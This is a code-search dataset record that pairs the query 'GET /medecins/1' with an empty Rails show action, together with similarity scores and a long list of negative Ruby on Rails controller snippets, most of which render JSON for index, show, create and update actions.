self.class.get(api_url(\"users/me\"), headers: { \"authorization\" => @auth_token })\n JSON.parse(response.body)\n end", "def show\n \n @meetup = Meetup.find(params[:id])\n render json: {\n meetup: MeetupSerializer.new(@meetup)\n }\n end", "def show\n @medzz = Medzz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medzz }\n end\n end", "def index\n @users = User.all\n render json: @users.to_json(include: ['coins']) \n end", "def index\n @about_mes = AboutMe.all\n end", "def index\n @conns = current_user.conns\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conns }\n end\n end", "def current_user_medications\n # binding.pry\n # @user_meds = UserMedication.find_by(user_id: user_med_params[:id]).medications\n render json: current_user.medications\n # render json: @user.medications\n # render json: { UserSerializer.mew(@user_meds) }\n end", "def index\n # only list current user's hangouts\n @hangouts = current_user.hangouts.order(\"start_date_time DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hangouts }\n end\n end", "def index\n @merchants = Merchant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @merchants }\n end\n end", "def index\n @absences = Absence.where(\"member_id = ?\",params[:member_id]).order(\"start_date DESC\").page(params[:page]).per(7)\n @member = Member.find(params[:member_id])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absences }\n end\n end", "def show\n @exibitor = Exibitor.find(params[:id])\n @exibitormeetings = @exibitor.sponsor.meeting\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exibitor }\n end\n end", "def index\n @decks = current_user.decks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @decks }\n end\n end", "def index\n @mestres = Mestre.all\n end", "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "def index\n @unidade_medidas = UnidadeMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidade_medidas }\n end\n end", "def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end", "def index\n @medical_practitioners_profiles = MedicalPractitionersProfile.all\n render json: @medical_practitioners_profiles\n end", "def index\n @consents = Consent.all\n render json: @consents\n end", "def all\n @users = User.only(:id, :name, :about_me, :avatar_file_name, :avatar_updated_at).not_in(:id => current_user.follow_ids).not_in(:id => [current_user])\n\n respond_to do |format|\n format.html\n format.json { render :json => { :users => @users.as_json(:json => 'wall') }}\n end\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def index\n @cmms = Cmm.all\n render json: @cmms\n end", "def index\n @outmessages = Outmessage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @outmessages }\n end\n end", "def handle_get_muffin( request )\n id = request.name_from_path==\"\" ? @theBaker.default_muffin_id : request.id_from_path\n m = @theBaker.muffin_at_id( id )\n ml_response =\n case\n when @theBaker.aint_got_no_muffins_yo?\n ml_response_for_EmptyDB\n when m\n ml_response_for_GET_muffin( m )\n else\n ml_response_for_404_basic( request )\n end\n end", "def index\n users = User.all\n # cheer_ups = CheerUp.all\n render json: users\n end", "def index\n @subsedes = Subsede.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subsedes }\n end\n end", "def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end", "def index\n @coins = Coin.all\n render \"index.json.jbuilder\"\n end", "def index\n @metaskills = Metaskill.all\n end", "def show\n @meal_profile = MealProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal_profile }\n end\n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def index\n @moments = Moment.page(params[:page])\n end", "def show\n @meuble = Meuble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meuble }\n end\n end", "def index\n @meibos = Meibo.all\n end", "def new\n @medzz = Medzz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medzz }\n end\n end", "def show\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metum }\n end\n end", "def index\n @mementos = Memento.all\n end", "def mine\n @user = current_user\n # @micropost = @user.microposts.build\n @microposts = @user.feed.paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "def index\n @contenders = Contender.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contenders }\n end\n end", "def index\n @utilized_bitcoin_wallets = UtilizedBitcoinWallet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @utilized_bitcoin_wallets }\n end\n end", "def index\n @memos = Memo.all.order(id: \"DESC\").limit(100)\n memo_list = []\n for memo in @memos\n user = memo.user.name\n memo_list << {\n memo: memo,\n user: user\n }\n end\n render json: memo_list\n end", "def update\n respond_to do |format|\n if @medecin.update(medecin_params)\n format.html { redirect_to @medecin, notice: 'Medecin was successfully updated.' }\n format.json { render :show, status: :ok, location: @medecin }\n else\n format.html { render :edit }\n format.json { render json: @medecin.errors, status: :unprocessable_entity }\n end\n end\n end", "def mens\n mens = Inventory.where(mens == true)\n render json: mens\n end", "def index\n @mechons = Mechon.all\n end", "def index\n @innings = Inning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @innings }\n end\n end", "def get_mates(session, options={})\n json_request \"mates\", {:session => session}, options\n end", "def index\n @clients = current_user.clients\n render json: @clients\n end", "def get_me\n response = self.class.get(base_api_endpoint(\"users/me\"), headers: { \"authorization\" => @auth_token })\n @user_data = JSON.parse(response.body)\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def show\n\n \n @meet = Meet.find(params[:id])\n @track = @meet.track\n @cards = @meet.cards\n @comments = @meet.comments\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meet }\n end\n end", "def smsmark\n http = get_http_connection() \n post_args = { 'ids' => params[:ids], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n request = Net::HTTP::Post.new('/messages/in.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end", "def index\n render :json => UserInterest.all\n end", "def show\n @meetup_profile = MeetupProfile.find(params[:id])\n @meetup=Meetup.new\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meetup_profile }\n end\n end", "def index\n @members = Member.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end", "def index\n @members = Member.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end", "def index\n @members = Member.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end", "def index\n @title = \"Doctor List\"\n @medics = Medic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medics }\n end\n end", "def index\n @cages = current_user.cages\n\n respond_to do |format|\n format.json { render json: @cages }\n end\n end", "def get_user_entries\n user_entry = Entry.where(user_id: params[:user])\n render json: EntrySerializer.new(user_entry).to_serialized_json\n end", "def show\n @encounter = Encounter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encounter }\n end\n end", "def index\n @med_insts = MedInst.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @med_insts }\n end\n end" ]
[ "0.63440204", "0.6076723", "0.5885143", "0.58006895", "0.579023", "0.579023", "0.579023", "0.5737353", "0.5722377", "0.5700576", "0.56988066", "0.5657621", "0.5642779", "0.56395566", "0.5629906", "0.5628864", "0.56157506", "0.5591745", "0.5568843", "0.5566829", "0.54865295", "0.5479611", "0.5462288", "0.5454927", "0.54398733", "0.54352397", "0.5432537", "0.5424707", "0.54205865", "0.5401723", "0.5401078", "0.53992903", "0.53989136", "0.5389056", "0.53888315", "0.53603166", "0.5343269", "0.5329237", "0.5329062", "0.53284067", "0.53280246", "0.5318951", "0.5317297", "0.5315774", "0.53083766", "0.5306781", "0.530404", "0.5303024", "0.5301822", "0.5297491", "0.5291086", "0.52895373", "0.52859443", "0.5276323", "0.52720594", "0.5269127", "0.52634233", "0.52578706", "0.5253718", "0.52517384", "0.523332", "0.5231861", "0.52313364", "0.52305984", "0.5230156", "0.5223378", "0.5221928", "0.5214862", "0.52129835", "0.5212201", "0.5209995", "0.5202978", "0.5202764", "0.52019393", "0.5192083", "0.5191868", "0.5191024", "0.51904714", "0.5190039", "0.51878846", "0.51870406", "0.5186169", "0.5185415", "0.51846695", "0.5184523", "0.5183722", "0.5180959", "0.51777524", "0.5174887", "0.5173317", "0.5172166", "0.517076", "0.51695114", "0.51695114", "0.51695114", "0.5166628", "0.51635975", "0.51599497", "0.51595366", "0.5159476" ]
0.67163396
0
GET /medecins/1 GET /medecins/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @medecins = Medecin.all\n end", "def show\n @messege = Messege.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @messege }\n end\n end", "def show \n @inmate = Inmate.find(params[:id])\n render json: @inmate\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def show\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metum }\n end\n end", "def show\n @mercado_metum = MercadoMetum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mercado_metum }\n end\n end", "def set_medecin\n @medecin = Medecin.find(params[:id])\n end", "def show\n @mesasredonda = Mesasredonda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mesasredonda }\n end\n end", "def show\n out = Out.find(params[:id])\n respond_to do |format|\n format.json {\n render :json => out, :layout => false\n }\n end\n end", "def show\n @meuble = Meuble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meuble }\n end\n end", "def show\n @medzz = Medzz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medzz }\n end\n end", "def index\n @messies = Messy.all\n\n render json: @messies\n end", "def show\n @mi = Mi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mi }\n end\n end", "def index\n @medications = Medication.all\n render json: @medications\n end", "def show\n @impgen = Impgen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @impgen }\n end\n end", "def show\n @mencion = Mencion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mencion }\n end\n end", "def show\n @encounter = Encounter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encounter }\n end\n end", "def show\n @mint_coin = @coin.mint_coins.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @mint_coin }\n end\n end", "def index\n @memes = Meme.all\n end", "def index\n @mesasredondas = Mesasredonda.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mesasredondas }\n end\n end", "def show\n @jm_verse = JmVerse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jm_verse }\n end\n end", "def show\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monit }\n end\n end", "def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end", "def me\n get(\"/me\")\n end", "def show\n @informe = Informe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @informe }\n end\n end", "def show\n @momsg = Momsg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @momsg }\n end\n end", "def show\n @encuestum = Encuestum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encuestum }\n end\n end", "def index\n @mercado_meta = MercadoMetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mercado_meta }\n end\n end", "def show\n @mib = Mib.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mib }\n end\n end", "def show\n \n @meetup = Meetup.find(params[:id])\n render json: {\n meetup: MeetupSerializer.new(@meetup)\n }\n end", "def show\n @metric = Metric.find(params[:id])\n\n render json: @metric\n end", "def show\n @title = \"Current Medic\"\n @medic = Medic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medic }\n end\n end", "def show\n @medio = Medio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medio }\n end\n end", "def show\n @consensu = Consensu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consensu }\n end\n end", "def show\n @meal_profile = MealProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal_profile }\n end\n end", "def show\n @mate = Mate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {mate: @mate} }\n end\n end", "def show\r\n @imobiliaria = Imobiliaria.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.json { render json: @imobiliaria }\r\n end\r\n end", "def show\n @bio_signal = BioSignal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bio_signal }\n end\n end", "def index\n @me_res = MeRe.all\n end", "def show\n @mill = Mill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mill }\n end\n end", "def me\n resource :get, 'api/v1/users/me'\n end", "def index\n @interno_unidads = InternoUnidad.all\n render json: @interno_unidads\n end", "def show\n @incucai = Incucai.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incucai }\n end\n end", "def show\n @remainder = Remainder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remainder }\n end\n end", "def show\n @monitor_profile = MonitorProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monitor_profile }\n end\n end", "def show\n @unidade_metrica = UnidadeMetrica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unidade_metrica }\n end\n end", "def get_handle\n logger.debug \"Hoo ha!\"\n s = Swimmer.find(:all, :conditions => \"last = '#{params[:last]} and first like '#{params[:first]}'\").map {er|x| x.id }\n respond_to do |format|\n json { render s.to_json }\n end\n end", "def show\n @humanidades2 = Humanidades2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades2 }\n end\n end", "def index\n ends = End.find_each\n render json: ends\n end", "def new\n @medzz = Medzz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medzz }\n end\n end", "def show\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metodo }\n end\n end", "def show\n @ingridient = Ingridient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ingridient }\n end\n end", "def index\n @noise = Noise.new\n @noises = Noise.all\n params[:page] ||= 1\n\n respond_to do |format|\n format.html { @noises = Noise.paginate(per_page: 20, page: params[:page]) }\n format.json do \n list = @noises.map\n render json: Noise.all.select('id, sounds, icon') \n end\n end\n end", "def show\n @imp2_raman = Imp2Raman.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @imp2_raman }\n end\n end", "def show\n @medicamento = Medicamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medicamento }\n end\n end", "def show\n @diemtrentuyen = Diemtrentuyen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diemtrentuyen }\n end\n end", "def retrieve_meds(name)\n user_list = JSON.parse(File.read(\"./files/user_info.json\"))\n user_list[\"Users\"].each do |user|\n if user[\"Name\"] == name\n user[\"Medication\"].each do |med|\n puts \"Name: #{med[\"Med_Name\"]}\"\n puts \"Intake Time: #{med[\"Intake_Time\"]}\"\n puts \"Duration: #{med[\"Duration\"]}\"\n puts \"Extra Info: #{med[\"Extra_Info\"]}\"\n end\n end\n end\nend", "def me\n get('me').body\n end", "def index\n @unidade_medidas = UnidadeMedida.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidade_medidas }\n end\n end", "def show\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microposst }\n end\n end", "def retrieve(id)\n @client.make_request(:get, \"insurances/#{id}\", MODEL_CLASS)\n end", "def show\n @diagnoz = Diagnoz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diagnoz }\n end\n end", "def show\n @comedorue = Comedorue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comedorue }\n end\n end", "def index\n @inboxes = Inbox.all\n @inboxes = @inboxes.select { |x| x.umkm_id == params[:umkm_id].to_i }\n render json: {items: @inboxes}\n end", "def show\n @monitor_profile = MonitorProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @monitor_profile }\n end\n end", "def show\n @medhistory = Medhistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medhistory }\n end\n end", "def index\n @title = \"Doctor List\"\n @medics = Medic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medics }\n end\n end", "def new\n @messege = Messege.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @messege }\n end\n end", "def index\n @coins = Coin.all\n render \"index.json.jbuilder\"\n end", "def show\n @meter_reading = MeterReading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_reading }\n end\n end", "def show\n @coin_set = CoinSet.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coin_set }\n end\n end", "def show\n @experiment_biomechanical = ExperimentBiomechanical.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @experiment_biomechanical }\n end\n end", "def index\n @cmms = Cmm.all\n render json: @cmms\n end", "def index\n @you_owe_mes = YouOweMe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @you_owe_mes }\n end\n end", "def show\n @m_beli_nota_second_d = MBeliNotaSecondD.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @m_beli_nota_second_d }\n end\n end", "def index\n # render json: Epicenter.where('owner_id = ?', @epicenter.id)\n puts Epicenter.all.count\n render json: Epicenter.all\n end", "def show\n @meetup_profile = MeetupProfile.find(params[:id])\n @meetup=Meetup.new\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meetup_profile }\n end\n end", "def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end", "def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def index\n @conns = current_user.conns\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conns }\n end\n end", "def show\n # base url of the remote data\n # append the 'id' to this to generate the remote url\n baseUrl = 'https://api.gojimo.net/api/v4/'\n\n # request the meta data from the remote server and\n # extract the time its data was last updated\n meta = open(\"#{baseUrl}#{params[:id]}\").meta\n update_at = meta[\"last-modified\"].to_date\n\n # request new data when the local data timestamp pre dates the remote data\n requires_refresh = params[:update_at].blank? || update_at > params[:update_at].to_date\n\n # request the remote data if it is newer than the local copy\n data = open(\"#{baseUrl}#{params[:id]}\").read if requires_refresh\n # parse any data since we are going to add the data to an object which is then converted to json\n data = JSON.parse(data) unless data.blank?\n\n # return any data together with timestamps and a flag to show whetjer new data was retrieved\n render json: {new_data: requires_refresh, data: data, update_at: update_at.strftime('%a %d %b %Y'), check_at: Time.now.strftime('%H:%M %a %d %b %Y')}\n\n end", "def show\n @sin = Sin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sin }\n end\n end", "def index\n @innings = Inning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @innings }\n end\n end", "def index\n temp = current_user.id\n # Auf Methode warten, nur noch offene, in der Zukunft liegende Requests \n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def show\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contum }\n end\n end", "def show\n @ubication = Ubication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ubication }\n end\n end", "def index\n @absences = Absence.where(\"member_id = ?\",params[:member_id]).order(\"start_date DESC\").page(params[:page]).per(7)\n @member = Member.find(params[:member_id])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absences }\n end\n end", "def show\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inning }\n end\n end", "def show\n @humanidades3 = Humanidades3.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades3 }\n end\n end", "def show\n @noise = Noise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @noise }\n end\n end", "def me\n\t\tuser_listings = current_user.listings\n render json: [current_user, user_listings]\n end", "def show\n @micorpost = Micorpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @micorpost }\n end\n end", "def show\n @memo = Memo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @memo }\n end\n end", "def show\n @memo = Memo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @memo }\n end\n end", "def show\n @exibitor = Exibitor.find(params[:id])\n @exibitormeetings = @exibitor.sponsor.meeting\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exibitor }\n end\n end", "def show\n\n \n @meet = Meet.find(params[:id])\n @track = @meet.track\n @cards = @meet.cards\n @comments = @meet.comments\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meet }\n end\n end", "def show\n @unidade_medida = UnidadeMedida.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unidade_medida }\n end\n end", "def show\n @moresmalltrial = Moresmalltrial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @moresmalltrial }\n end\n end", "def get_reading\n\t\turi = URI.parse('http://localhost:5000/thermometers.json')\n\t\tthermo_response = Net::HTTP.get_response(uri)\n\t\tcheck = thermo_response.body\n\t\tj = JSON.parse(check)\n\tend", "def show\n @inspiration = Inspiration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inspiration }\n end\n end", "def show\n @income_entry = IncomeEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income_entry }\n end\n end" ]
[ "0.6473131", "0.6305703", "0.6203667", "0.6156338", "0.60534054", "0.60121214", "0.6000088", "0.59754276", "0.59337205", "0.5879408", "0.58725506", "0.5856041", "0.58536303", "0.58472914", "0.58385134", "0.58324915", "0.5809072", "0.5785206", "0.5739903", "0.57358086", "0.573411", "0.5729706", "0.57163256", "0.57158744", "0.5690055", "0.56883526", "0.56873035", "0.56827897", "0.5672772", "0.5665562", "0.5663609", "0.5656673", "0.56519955", "0.56483245", "0.5641304", "0.56276935", "0.56112057", "0.5610451", "0.56058824", "0.5599949", "0.5593436", "0.5585527", "0.5585145", "0.5583166", "0.55698144", "0.5560544", "0.5559393", "0.55577123", "0.5556436", "0.5556001", "0.55519927", "0.55510354", "0.5548832", "0.55487233", "0.554818", "0.5533159", "0.5532696", "0.55317134", "0.55316645", "0.5531033", "0.553015", "0.553006", "0.5529351", "0.55271935", "0.5526731", "0.5526269", "0.5522929", "0.5522604", "0.552143", "0.5517679", "0.55140084", "0.5511216", "0.5510832", "0.55079687", "0.5507717", "0.5502958", "0.5496866", "0.5493819", "0.54902345", "0.5488072", "0.5487012", "0.5484324", "0.54835516", "0.54788256", "0.54774153", "0.54767686", "0.54710704", "0.5468853", "0.54681695", "0.54679614", "0.54675496", "0.54672074", "0.5466182", "0.5466182", "0.5463541", "0.54621947", "0.54605746", "0.54592395", "0.5456131", "0.5453682", "0.5453649" ]
0.0
-1
POST /medecins POST /medecins.json
def create @medecin = Medecin.new(medecin_params) respond_to do |format| if @medecin.save format.html { redirect_to @medecin, notice: 'Medecin was successfully created.' } format.json { render :show, status: :created, location: @medecin } else format.html { render :new } format.json { render json: @medecin.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_medecin\n @medecin = Medecin.find(params[:id])\n end", "def create\n @messege = Messege.new(params[:messege])\n\n respond_to do |format|\n if @messege.save\n format.html { redirect_to @messege, notice: 'Messege was successfully created.' }\n format.json { render json: @messege, status: :created, location: @messege }\n else\n format.html { render action: \"new\" }\n format.json { render json: @messege.errors, status: :unprocessable_entity }\n end\n end\n end", "def smsmark\n http = get_http_connection() \n post_args = { 'ids' => params[:ids], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n request = Net::HTTP::Post.new('/messages/in.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end", "def destroy\n @medecin.destroy\n respond_to do |format|\n format.html { redirect_to medecins_url, notice: 'Medecin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n respond_to do |format|\n if @medecin.update(medecin_params)\n format.html { redirect_to @medecin, notice: 'Medecin was successfully updated.' }\n format.json { render :show, status: :ok, location: @medecin }\n else\n format.html { render :edit }\n format.json { render json: @medecin.errors, status: :unprocessable_entity }\n end\n end\n end", "def medecin_params\n params.require(:medecin).permit(:nom, :lieu, :specialite)\n end", "def create\n megam_rest.post_accounts(to_hash)\n end", "def smssend\n http = get_http_connection() \n post_args = { 'number' => params[:number], 'text' => params[:text],'replyto' => params[:replyto], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n \n request = Net::HTTP::Post.new('/messages/out.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end", "def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end", "def new\n @messege = Messege.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @messege }\n end\n end", "def create\n megam_rest.post_appdefn(to_hash)\n end", "def index\n @medecins = Medecin.all\n end", "def create\n @dear_me = DearMe.new(dear_me_params)\n @dear_me.user = current_user\n respond_to do |format|\n if @dear_me.save\n format.html { redirect_to @dear_me, notice: \"Votre idée a été créée avec succès !.\" }\n format.json { render :show, status: :created, location: @dear_me }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @dear_me.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @metaskill = Metaskill.new(metaskill_params)\n\n respond_to do |format|\n if @metaskill.save\n format.html { redirect_to @metaskill, notice: 'Metaskill was successfully created.' }\n format.json { render :show, status: :created, location: @metaskill }\n else\n format.html { render :new }\n format.json { render json: @metaskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inquilino = Inquilino.new(inquilino_params)\n respond_to do |format|\n if @inquilino.save\n #@pagamento = Pagamento.create(mes: @inquilino.dataVencimento.to_s, pago: @inquilino.pago, inquilino_id: @inquilino.id)\n #@mensalidade = Mensalidade.create(inquilino_id: @inquilino.id, pagamento_id: @pagamento.id)\n #@mensalidade = Mensalidade.create(pago: @inquilino.pago, inquilino_id: @inquilino.id)\n @mesa = @inquilino.dataVencimento\n @cont = 0\n 12.times do\n @cont += 1\n @mes = @mesa + @cont.month\n @mensalidades = Mensalidade.create(inquilino_id: @inquilino.id, mes: @mes, pago: false)\n end\n #\n @whatsapp = Whatsapp.create(inquilino_id: @inquilino.id, numero: \" \", endereco: \" \")\n\n format.html {redirect_to @inquilino, notice: 'Inquilino criado com sucesso!.'}\n format.json {render :show, status: :created, location: @inquilino}\n else\n format.html {render :new}\n format.json {render json: @inquilino.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @mechon = Mechon.new(mechon_params)\n\n respond_to do |format|\n if @mechon.save\n format.html { redirect_to @mechon, notice: 'Mechon was successfully created.' }\n format.json { render :show, status: :created, location: @mechon }\n else\n format.html { render :new }\n format.json { render json: @mechon.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notify_me = current_app.notify_mes.new(params[:notify_me])\n if @notify_me.save\n render json: 'ok', status: 201\n else\n render json: {errors: @notify_me.errors }, status: 422\n end\n end", "def create\n @cousin = Cousin.new(cousin_params)\n @mum = Mum.find(params[:mum_id])\n @cousin.mum = @mum\n\n respond_to do |format|\n if @cousin.save\n format.html { redirect_to mum_path(@cousin), notice: 'Gen2 was successfully created.' }\n format.json { render :show, status: :created, location: @cousin }\n else\n format.html { render :new }\n format.json { render json: @cousin.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @mechenic = Mechenic.new(mechenic_params)\n\n respond_to do |format|\n if @mechenic.save\n format.html { redirect_to @mechenic, notice: 'Mechenic was successfully created.' }\n format.json { render :show, status: :created, location: @mechenic }\n else\n format.html { render :new }\n format.json { render json: @mechenic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @membrecium = 